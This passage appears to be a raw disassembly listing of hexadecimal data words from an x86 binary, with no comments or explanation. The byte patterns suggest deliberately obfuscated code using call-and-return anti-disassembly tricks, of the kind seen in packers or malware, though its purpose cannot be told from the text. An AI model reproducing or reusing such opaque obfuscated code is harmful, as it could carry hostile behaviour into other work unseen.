		dd 1F15B529h, 8E90935h,	0A1000000h, 0A09DDAA9h,	8B030007h
		dd 38B763B5h, 53006A09h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1A04h, 0C3534300h, 951388F3h, 66E5AA5Ch, 6E55D381h
		dd 106C7h, 6A0001h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1B0424h, 57470000h, 0FB8B0CC3h, 0C246E524h, 0E85096ADh
		dd 0Fh,	753DA402h, 355184AAh, 0E417834Dh, 5BAE18CBh, 860F505Fh
		dd 11h,	0BF5250h, 0F5A18D8h, 0F525031h,	5A585A31h, 95299658h
		dd 9352F25h, 0B4CB8166h, 6FB5FF1Bh, 290938B7h, 35228D8Dh
		dd 8995FF09h, 6A093502h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 8BC3C352h, 38B763B5h
		dd 55006A09h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1704h
		dd 0C3554500h, 0F317A822h, 25CD9D0Bh, 858B0935h
		dd 9350E99h, 0E8C0Fh, 9E90000h,	61000000h, 89073F63h, 0D79E92CCh
		dd 8B0Fh, 86890000h, 0C4h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Bh, 3CC35242h, 4895177Ah,	0F30FCFDh, 380h
		dd 0F8B70F00h, 24CDBD09h, 958B0935h, 9351629h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0F0C35747h, 4C28372h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 3AC35141h
		dd 0FC5D66A2h, 0B5893790h, 93527A5h, 0F205089h,	681h, 69953100h
		dd 8D09352Bh, 38CC0785h, 53006A09h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1C04h, 0C3534300h, 0ADFA6DAEh, 99BD6EE7h
		dd 0B88689A0h, 80000000h, 6A43C3h, 66DA8B66h, 0B5FFDE8Bh
		dd 938B76Fh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Ch,	55C35646h, 0BE280F7h, 0B3E57BB0h, 17019589h, 0EE80935h
		dd 0AB000000h, 4089F373h, 3EBF265Dh, 0AB6C4697h, 45BD0194h
		dd 5B093502h, 115195FFh, 0BD890935h, 93525C5h, 13E850h
		dd 29B80000h, 41457F82h, 0CA2C5F2Eh, 2A7F61D8h,	13229E77h
		dd 0FA8B66F7h, 2434895Bh, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 15h, 0BDC35242h, 0CB8060E8h, 11890F3Dh, 0E8000000h
		dd 0Bh,	1406B45Fh, 0A922CC39h, 5E3BD485h, 999D2B61h, 81093529h
		dd 38CC57C3h, 6FB5FF1Eh, 6A0938B7h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 3BEC351h
		dd 0F50B349h, 88Eh, 66F56000h, 17CAC381h, 5595FF61h, 6A09350Bh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 14042444h
		dd 42000000h, 66CFC352h, 0BD83FE8Bh, 9350079h, 35840F00h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 14042444h, 41000000h, 96B2C351h, 0FCB4BF66h,	0F536050h
		dd 8Eh,	0C88A5B00h, 0BD8B9661h,	9352615h, 0B76FB5FFh, 6A0938h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 0FF00C9C3h, 351C3595h, 0F98D8909h, 0FF09352Fh, 38B76FB5h
		dd 55006A09h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1604h
		dd 0C3554500h, 0FF1D4DD7h, 352CE595h, 0BD83FC09h, 93526BDh
		dd 46840F02h, 89000000h, 350ADD8Dh, 0AD858B09h,	6A093526h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1A042444h
		dd 46000000h, 0FCB6C356h, 0F0FDF483h, 0B58B6044h, 9350671h
		dd 22CF8166h, 0D88B615Ah, 8B0000C6h, 3505D59Dh,	6585C709h
		dd 93532h, 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1B042444h, 42000000h, 3A3BC352h, 553C4225h, 0B58972C7h
		dd 9351EDDh, 23998D89h,	55E90935h, 0F8FFFFF2h, 8D89C18Bh
		dd 935223Dh, 2659858Dh,	0B70F0935h, 0BB6650F9h,	489ACE0h
		dd 0E8516024h, 12h, 0FCBC9E4h, 2290E1C1h, 0B2DFB645h, 1F702072h
		dd 585A4386h, 25C28166h, 6A613Eh, 3339BD33h, 6A0935h, 16F1BD8Bh
		dd 858D0935h, 939C428h,	0D62F15BFh, 5C08349h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0F1C35343h, 84D245C6h
		dd 0E918DC39h, 0F98B6694h, 0F525050h, 288h, 0F616000h
		dd 0C18B6031h, 5A61B8B6h, 24048958h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 18h, 0F2C35242h,	0A6E544A7h, 2F41BD33h
		dd 6A0935h, 0E852006Ah,	3, 5AC35A20h, 4245489h,	4244481h
		dd 19h,	44C35242h, 2857BF55h, 99852920h, 6A093525h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1B04h, 0C3554500h
		dd 0D421E6F0h, 5AD506A7h, 0EE9h, 0EF9E5A00h, 293C96B4h
		dd 0F0E4EE1Eh, 8B3A5C45h, 351C099Dh, 3195FF09h,	66093503h
		dd 2908E781h, 9AAB8D8Dh, 6A0938h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 190424h, 56460000h, 1C5093C3h, 0FF77204Fh
		dd 53006AD1h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1404h
		dd 0C3534300h, 0BE874h,	0D39E0000h, 917F6E99h, 0C000CEC7h
		dd 1985893Ch, 5B093510h, 419D2B60h, 61093533h, 1C19BD83h
		dd 0F010935h, 0A185h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1D04h, 0C3534300h, 731F436Dh, 3349BFA7h
		dd 8166D3B0h, 0FD59DCFh, 8D01D9BFh, 935330Dh, 6A026Ah
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
		dd 6ECE6DC3h, 0B11C20BBh, 48D0F14h, 66000000h, 507741BFh
		dd 489FC8Ah, 50006A24h,	3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1804h, 0C3504000h, 0F435DF7h, 45B58929h, 0FF09352Ch
		dd 35115195h, 8E909h, 0F7400000h, 0CD8E1285h, 0CAE9E67Fh
		dd 0E800000Dh, 0
aBa29J		db ']│М2д9',9,'j',0
		db 52h,	0E8h, 3
		dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
		dd 0C08CC352h, 668571C8h, 0FD1DEB81h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 16h, 0AC35141h, 8D01D718h, 9352FBDh
		dd 6ADF8166h, 2B858D03h, 6A093893h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 20CCC350h
		dd 1C870E0Ah, 0DD1830D4h, 0DBB70F60h, 32FD9589h, 90610935h
		dd 665067B3h, 90AC20BFh, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 1Ah, 36C35343h, 3B6787AFh,	0BD8B1DCAh, 9353041h
		dd 6059D8Bh, 0FF640935h, 35h, 81DDBF00h, 8964130Eh, 25h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1604h
		dd 0C3534300h, 8150BD6Fh, 0C9B5CFDFh, 985FF05h,	6A093530h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 19042444h
		dd 46000000h, 7885C356h, 814748FFh, 1DB7BF66h, 9D01FF6Ah
		dd 9350A21h, 11F5B5FFh,	0BF660935h, 95FFF6C6h, 9352EB9h
		dd 112E9h, 0EF816600h, 0B04371h, 10E956h, 0F2D70000h, 0EAB1EC02h
		dd 0D88C085Fh, 24554303h, 0E65F984Fh, 0D1BD8B70h, 0B7093500h
		dd 0BB71E45Dh, 1C47E494h, 830F613Ch, 0DBh, 1F05BD89h, 0B60F0935h
		dd 0FD8D01C8h, 0BA093503h, 6, 0EE9h, 5CC9EF00h,	94A8F99Eh
		dd 3B98FC25h, 8BA66BA5h, 0FE8B66C1h, 254DBD29h,	0E8C10935h
		dd 0DABF0F04h, 8BE2F766h, 352DB19Dh, 8BC82B09h,	352FC59Dh
		dd 31D18B09h, 350AD18Dh, 0E9B6B309h, 83h, 5C1BD03h, 858B0935h
		dd 8, 0C5DBD29h, 830F0935h, 2, 0C0835B51h, 0A5950907h
		dd 83093510h, 0CE900C0h, 0E1000000h, 4FB7B97Eh,	4B546F15h
		dd 3B8BFA5Bh, 8830FD0h,	0E9000000h, 3Fh, 8BF88B66h, 0FFFFFF8Dh
		dd 1E183FFh, 2D840Fh, 0BB660000h, 0A58339F3h, 0FFFFFFFFh
		dd 10E9FEh, 0B5F40000h,	0DD01ADC4h, 2A9E2F4Eh, 0EE264AA0h
		dd 9589B0BCh, 8, 0E995B7h, 8D000000h, 393B85B5h, 57006A09h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1504h, 0C3574700h
		dd 9D8B3A36h, 9350B75h,	38C8E8BBh, 80BB6671h, 6A006AE0h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 16042444h
		dd 46000000h, 862FC356h, 0F6D381D3h, 0FF0C735Dh, 35082995h
		dd 50006A09h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1704h
		dd 0C3504000h, 0BBF471E9h, 164D8D89h, 52B30935h, 114FB9h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1704h
		dd 0C3514100h, 0DDC13388h, 2CBDBD8Bh, 6E80935h,	0ED000000h
		dd 5D0C4D34h, 0CE91Ah, 87DB0000h, 18016EC3h, 0E1D41B14h
		dd 835B2A2Dh, 6AFCE1h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 160424h, 52420000h, 334BECC3h, 11C99529h, 8BFC0935h
		dd 352831BDh, 0B809h, 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1B0424h, 50400000h, 0E2B1F4C3h, 39541512h
		dd 4BE7818Ch, 0BA400049h, 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0BFC35747h
		dd 0B177B368h, 0CE62AA03h, 0D1C233ADh, 83D003E8h, 0F47504E9h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 5AC35242h
		dd 0DE84AABh, 0B0000000h, 86F9A44Eh, 399396F5h,	9065B101h
		dd 0F9EB8166h, 8A0F5F53h, 1, 51006AFCh,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 28E8A526h
		dd 0D3D5E9EBh, 0DB80901Eh, 880D7Dh, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 140424h, 56460000h, 952970C3h
		dd 9352E35h, 1629958Bh,	95290935h, 93524A5h, 287D8D8Bh
		dd 9D290935h, 9350581h,	8BC28B50h, 8BC10318h, 0D1C18B18h
		dd 8BC203E8h, 6A5818h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 160424h, 51410000h, 0F1E600C3h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Bh, 30C35343h, 2F725B03h, 892776D2h
		dd 35266195h, 49BD8309h, 93512h, 3D840Fh, 0CB810000h, 11771110h
		dd 0B8D8BF0Fh, 0
		dd 0E6D9D89h, 8D8D0935h, 9354C02h, 128D0Fh, 0E9500000h
		dd 0Bh,	55F710E5h, 0C6234100h, 5BC29E97h, 0FFD0CF80h, 0C59D89E1h
		dd 83093503h, 352255BDh, 840F0009h, 3F6h, 0D8D8D89h, 0BD830935h
		dd 9352255h, 0FE840F01h, 0E9000003h, 9,	2BC52750h, 138F9699h
		dd 55BD8332h, 3093522h,	3AD860Fh, 9D890000h, 93512C1h
		dd 0C880F60h, 0E9000000h, 7, 0B903EEB7h, 66C88842h, 6AD98Ch
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 222AB0C3h, 7F34C727h, 0BF664907h, 0E180475Dh, 0F8BF0F04h
		dd 840FC90Ah, 12Dh, 2E598D89h, 858B0935h, 9352B61h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 60C35343h, 8D896070h
		dd 93517F9h, 0E5D8D8Bh,	89610935h, 3513ED95h, 7D853309h
		dd 0B09350Dh, 35162DBDh, 0AFE78009h, 52505250h,	310F5250h
		dd 310F585Ah, 585AF88Bh, 2404895Fh, 7D9765BBh, 6A006A5Bh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
		dd 45000000h, 0F42CC355h, 860F0A34h, 8,	28D0Fh,	0FA8B0000h
		dd 4E8h, 1F03FF00h, 0FE900h, 0C8200000h, 9A55B151h, 8987715Ah
		dd 0E6C6404Ch, 8B66502Fh, 24448BD9h, 6E804h, 0B4A30000h
		dd 0E95736BAh, 0BF008B5Bh, 22DF917Fh, 4244489h,	0CE9h
		dd 6FB9D00h, 9C8B2FE1h,	0BD018DEBh, 0B5295882h,	9351F75h
		dd 0CDD95FFh, 6A0935h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 150424h, 51410000h, 0FCF46AC3h, 58D9501h, 8D010935h
		dd 9352489h, 0B76F8589h, 8B500938h, 351D9DBDh, 0B4E95F09h
		dd 0B7000001h, 67858BE0h, 6A0938B7h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 14042444h, 40000000h, 0C77BC350h
		dd 1800h, 0E59D8900h, 8B093505h, 38B76BB5h, 57006A09h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1A04h, 0C3574700h
		dd 0A5CAF31Eh, 8B26E344h, 3511A1BDh, 0D5858B09h, 0F093524h
		dd 68Fh, 0F99D8B00h, 89093502h,	52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 6054967Ch
		dd 0E62DA5ADh, 8BFA8B84h, 352B6185h, 3870F09h, 0F000000h
		dd 4689F8B7h, 14E89604h, 0F5000000h, 0F651A705h, 0E742FEEAh
		dd 50E7FF7Dh, 0D97430A0h, 662A43A2h, 5BBAB6BBh,	2890F50h
		dd 8B000000h, 6A96FBh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 0E6161CC3h, 95DDFEBFh, 0E806A1C6h
		dd 11h,	3C6822C5h, 25F8893Bh, 0CC00EA98h, 0BCAD817Bh, 5F1CB3F9h
		dd 1645BD8Bh, 0B5FF0935h, 938B767h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ah, 78C35646h, 9C671254h, 556867E7h
		dd 81C1C187h, 7CAA2404h, 0B5893E5Dh, 9350D41h, 0B76F858Dh
		dd 81660938h, 50C02FDFh, 19860Fh, 0E9600000h, 10h, 0EBFFD1ACh
		dd 0BF21D3A6h, 0A660983h, 6B725F94h, 8961F08Bh,	85892404h
		dd 93522C9h, 0CDD95FFh,	6A0935h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1A0424h, 57470000h, 9F8908C3h, 5BAB71B6h
		dd 0E915BB52h, 615F2621h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ah, 43C35747h, 0D9D4532Ah, 9D8BB6C2h, 9353091h
		dd 225585C7h, 30935h, 0FE8A0000h, 0B76FBD83h, 0F000938h
		dd 3A84h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1C04h, 0C3504000h, 6222C785h, 99B38AD6h, 7E98Eh, 0EA640000h
		dd 9B11AD14h, 20E961h, 81660000h, 5091D7DBh, 110C30h, 0C1011144h
		dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h,	305036EBh
		dd 64001104h, 0E8C10111h, 11443010h, 11640002h,	0E9835803h
		dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h
		dd 4300111h, 4E98311h, 0EBE775h, 6AC08Bh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 140424h, 50400000h, 6A41C3h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 0F132DAC3h, 0DA8485D9h, 0EE84AEAh, 19000000h, 0A0B5B86Ah
		dd 4FB926EFh, 0FCDF20E7h, 5FD98B1Ah, 1BF1BD8Bh,	0BD830935h
		dd 9352255h, 0D5850F03h, 6A000003h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1C042444h, 40000000h, 0FF61C350h
		dd 458A38FBh, 2BC4736Eh, 3508259Dh, 6FBD8309h, 938B7h
		dd 39E840Fh, 0B5310000h, 93524D9h, 0B76FB5FFh, 6A0938h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 7ECBD2C3h, 564EB263h, 2E1195FFh, 6A0935h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 160424h, 50400000h, 73708C3h
		dd 4810Fh, 0BB660000h, 8B0FAD1Bh, 6, 0CD59D0Bh,	0B58B0935h
		dd 938B763h, 16799D8Bh,	6C70935h, 10001h, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 14h, 0C7C35545h, 13995BBFh
		dd 9DBD8B07h, 5009350Ah, 0F0BF6657h, 34895F88h,	6E924h
		dd 897D0000h, 613E81FAh, 0B76FB5FFh, 0FFF80938h, 35028995h
		dd 0AE86009h, 0DF000000h, 5A8F679Bh, 597A86D4h,	21BD01CEh
		dd 5F09350Ah, 4D18D89h,	0E9610935h, 0Dh, 92A19A02h, 6EA97D41h
		dd 15CE424Fh, 63B58B98h, 6A0938B7h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 0EA46C355h
		dd 0C3DEA1AEh, 702A0EF7h, 22BEBB66h, 0E99858Bh,	6A0935h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
		dd 8BD1ABC3h, 351EDDBDh, 61BD8B09h, 8909352Ch, 0C486h
		dd 67F78100h, 8B1960DCh, 35162995h, 5FBF6609h, 0DF71BBB5h
		dd 0C2830E71h, 3D9D2904h, 89093508h, 6A2050h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 140424h, 51410000h, 9589D6C3h
		dd 9353261h, 0CC07858Dh, 89F50938h, 0B886h, 6890F00h, 89000000h
		dd 352AB5BDh, 6ACFB709h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1804h, 0C3554500h, 52532820h, 0F98B66A4h
		dd 0B76FB5FFh, 0F500938h, 688h,	758D8900h, 5F093524h, 7E8h
		dd 68866200h, 11B8D620h, 568CDF81h, 0FF5B29ECh,	35115195h
		dd 5019B709h, 0E9243489h, 0Eh, 1C54A250h, 90560913h, 10E1CC1h
		dd 0B5FF12B8h, 938B76Fh, 0F82CBF66h, 0B5595FFh,	3560935h
		dd 3528E1BDh, 0BD835F09h, 9350079h, 56840F00h, 0F000000h
		dd 0E896FBB7h, 0Ah, 0EA052693h,	37079D6Bh, 505FF98Ch, 0FE95250h
		dd 6A000000h, 323F68DBh, 55524A64h, 0ADF0FC3Dh,	310F03B5h
		dd 8D7DBF66h, 6A96585Ah, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 0D504C350h,	0BABB6600h
		dd 6FB5FFECh, 6A0938B7h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 19042444h, 45000000h, 0FD21C355h,	0A79B1F1Bh
		dd 32319589h, 95FF0935h, 9351C35h, 0F858589h, 0CE90935h
		dd 0C2000000h, 938E40C4h, 8AA06A51h, 0FF72C9DDh, 38B76FB5h
		dd 0FBB70F09h, 2CE595FFh, 8E80935h
		dd 0C1000000h, 58C0FCADh, 2BEE53A4h, 3528999Dh,	0BD835B09h
		dd 93526BDh, 7C840F02h,	6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1B042444h, 40000000h, 899BC350h
		dd 15BE0C18h, 858B9588h, 93526ADh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Dh, 63C35747h, 75DC04A9h, 26433ED3h
		dd 0DF8B66B5h, 600000C6h, 5E8h,	0E317D800h, 958B408Bh
		dd 9352795h, 0AE858h, 98850000h, 0E5C70E4Ah, 57FA8F07h
		dd 5E00EB80h, 0C779B761h, 35326585h, 9,	80DF8000h, 0FFF3AFE9h
		dd 52006AFFh, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1C04h
		dd 0C3524200h, 0E1F626A2h, 6BCB353Fh, 6AC18B5Ch, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
		dd 6A0AC350h, 68C0FCBh,	29000000h, 3533358Dh, 59858D09h
		dd 89093526h, 350C018Dh, 8B0F9009h, 1Ch, 12E8h,	0C9267F00h
		dd 6535F915h, 0D11384DCh, 0E8886214h, 6631D0B5h, 5B6B85BFh
		dd 905B5150h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 1Ah,	0D3C35242h, 0F906C31Fh,	6A0500h, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 14h, 0DCC35545h, 7E9h
		dd 0EF020700h, 0BB55E828h, 4FBB006Ah, 6600D3F5h, 0EE64DB81h
		dd 0D499858Dh, 6A0939h,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 170424h, 51410000h, 7BC33C3h, 31800F3Ch, 0E8000000h
		dd 12h,	0A4E0ECC3h, 0F389441Bh,	0BB525BFh, 4ECB823Dh, 14E9F50Dh
		dd 24000000h, 3D9DD999h, 258D47F4h, 0C19DD59Bh,	94BC32E7h
		dd 5F104C39h, 6A05C083h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 0D387C355h,	6C948130h
		dd 0BB236411h, 0FDEB8166h, 52509056h, 5EF0BB66h, 890F310Fh
		dd 2, 585AE4B7h, 0D98B6650h, 0E9006A90h, 5, 88B654ACh
		dd 6A006AFCh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 18042444h, 42000000h, 0C682C352h, 66B29190h,	0BF0FDF8Bh
		dd 3195FFF9h, 6A093503h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 6C2FC357h, 52B2FFE2h
		dd 8B208FADh, 351C31BDh, 0F1958909h, 8909350Ch,	350CC19Dh
		dd 0AB8D8D09h, 0F09389Ah, 1185h, 0CE900h, 3A360000h, 70E89D12h
		dd 0EDA701D7h, 0D1FF2CAAh, 0AE860h, 0BBA10000h,	3C8876EDh
		dd 4BFE855Bh, 8E9h, 8803EF00h, 4355E083h, 81665AC7h, 617454EFh
		dd 1C19BD83h, 0F010935h, 0B685h, 8DBD0300h, 6A093507h
		dd 52006A02h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1904h
		dd 0C3524200h, 0B819074Fh, 60509B7Ah, 0BE8h, 0B5E1CC00h
		dd 8EF8CCAFh, 13872B7Bh, 7A2C40BBh, 52505A55h, 0FFE8B66h
		dd 5A616031h, 4896158h,	52006A24h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1B04h, 0C3524200h, 0CFC3368Eh, 650019FFh
		dd 0F8D88B66h, 115195FFh, 6A0935h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 170424h, 50400000h, 0BA25A2C3h, 14E95Dh
		dd 46CD0000h, 6E75197Ah, 712E7BA3h, 0C4DFF833h,	5979A00Fh
		dd 0E9F818C3h, 0D22h, 0E8h, 0ED815D00h,	939D4A3h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 7BC35646h, 3EB8ABEh
		dd 0BF6B5CA4h, 6E8EDh, 93640000h, 9A4050C7h, 5F71F780h
		dd 6AFE8B66h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 16042444h, 46000000h, 52B7C356h, 81BD8B20h, 8D09351Bh
		dd 38932B85h, 0BD9D8B09h, 9009351Dh, 12E9h, 8A1B8200h
		dd 97FE3946h, 4E124506h, 0D6779F6h, 509E3E14h, 53006A90h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1604h, 0C3534300h
		dd 0E9035CBCh, 11h, 493202B0h, 0D81DAD68h, 3BACE58Ah, 2B9FD419h
		dd 35FF64CBh, 0
		dd 0A7F38166h, 25896430h, 0
		dd 9D8D0957h, 5B09350Eh, 300985FFh, 9D330935h, 9350B41h
		dd 86D9D23h, 0FF6A0935h, 0E8C0Fh, 9E90000h, 0BE000000h
		dd 0AC19E3ADh, 4CD4980Fh, 0D15B5FFh, 6A0935h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 170424h, 50400000h, 0FEAEF1C3h
		dd 4185893Eh, 0FF093533h, 352EB995h, 0E1E909h, 0F5600000h
		dd 5CDB58Bh, 0B0610935h, 598D3100h, 0E6093523h,	21BD8B70h
		dd 0E409350Dh, 45BD8971h, 3C093523h, 0B8830F61h, 66000000h
		dd 33EEE781h, 89C8B60Fh, 3505218Dh, 89BD3309h, 0BA09351Eh
		dd 6, 0DC58589h, 0C18B0935h, 0A658589h,	0E8C10935h, 59953104h
		dd 8B093503h, 0E2F766FBh, 12A6BF66h, 8BFCC82Bh,	0CE9D1h
		dd 0FECD0000h, 764C57C3h, 0C3DC8AE9h, 64E9FD6Dh, 80000000h
		dd 0BD2371CBh, 9352BCDh, 1858Bh, 81B30000h, 8B07C083h
		dd 0C083DFh, 0FD03BF9h,	1083h, 99BD0100h, 0E9093508h, 37h
		dd 59CF8166h, 0FF8D8BFBh, 89FFFFFFh, 352E4195h,	1E18309h
		dd 1D840Fh, 0B70F0000h,	0FFA583D9h, 0FEFFFFFFh,	4ED9D89h
		dd 95890935h, 1, 0E9DE8Bh, 8D000000h, 394CD4B5h, 56006A09h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1C04h, 0C3564600h
		dd 290B61ECh, 4C4EA8C3h, 6A006A3Fh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 0EFC4C357h
		dd 9ABCF87Ah, 0FD07BB66h, 82995FFh, 6A0935h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 33B187C3h
		dd 58D444B8h, 0E9558F08h, 0Ch, 4416DAE8h, 416CE41Ah, 0A5BF7397h
		dd 1655BD29h, 8AB90935h, 6A00000Fh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 4CADC352h
		dd 0E183D7A4h, 0DABF0FFCh, 55006AFCh, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 5B50162h, 0B8093530h
		dd 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 8AC35141h
		dd 4634100Ch, 0E8FC95B3h, 0BA19h, 0DE90000h, 0DC000000h
		dd 0D76E6199h, 9337349Fh, 742A2AC8h, 0D1C233ADh, 83D003E8h
		dd 0F47504E9h, 0BFD8BF0Fh, 30A70387h, 5870Fh, 81660000h
		dd 0D8F1FDFh, 88h, 2E99BD8Bh, 8BF90935h, 35162995h, 52006A09h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1A04h, 0C3524200h
		dd 1DC5C9F6h, 8B3F7520h, 35287D8Dh, 0FD3BF09h, 8B5003AAh
		dd 3188BC2h, 8B188BC1h,	3E8D1C1h, 58188BC2h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0F7C35343h, 895F6BBCh
		dd 352F3DBDh, 31BD8B09h, 8309351Ch, 351249BDh, 840F0009h
		dd 4Dh,	0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h
		dd 42C35141h, 0B8h, 148D0F00h, 0F000000h, 0E81h, 9E900h
		dd 1F410000h, 73B59DA1h, 8D45A5D5h, 354C028Dh, 118D8909h
		dd 0FF09352Dh, 0D4BB66E1h, 55BD830Ah, 93522h, 441840Fh
		dd 0BD890000h, 93521A9h, 2255BD83h, 0F010935h, 44984h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1C04h
		dd 0C3554500h, 7B58BD27h, 1AFB118Dh, 89958951h,	83093507h
		dd 352255BDh, 860F0309h, 3DCh, 10E9h, 3C00D00h,	5394F2Bh
		dd 0F5DE7BF3h, 21E0CFDEh, 6A60CEh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 140424h, 55450000h, 2B5352C3h, 352D4DBDh
		dd 20BF5F09h, 6073C070h, 8B551F9h, 8C66615Ah, 958D31D9h
		dd 80093528h, 0BD8B04E1h, 9351AE9h, 4A5BD8Bh, 0C90A0935h
		dd 183840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 140424h, 53430000h, 8E0F13C3h, 5, 0CFA94BBFh, 1DB58928h
		dd 8B093526h, 352B6185h, 53006A09h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1D04h, 0C3534300h, 42176140h, 0ED86A146h
		dd 85338153h, 9350D7Dh,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 14h, 95C35242h, 0DE890h, 0A2150000h, 68B674A7h
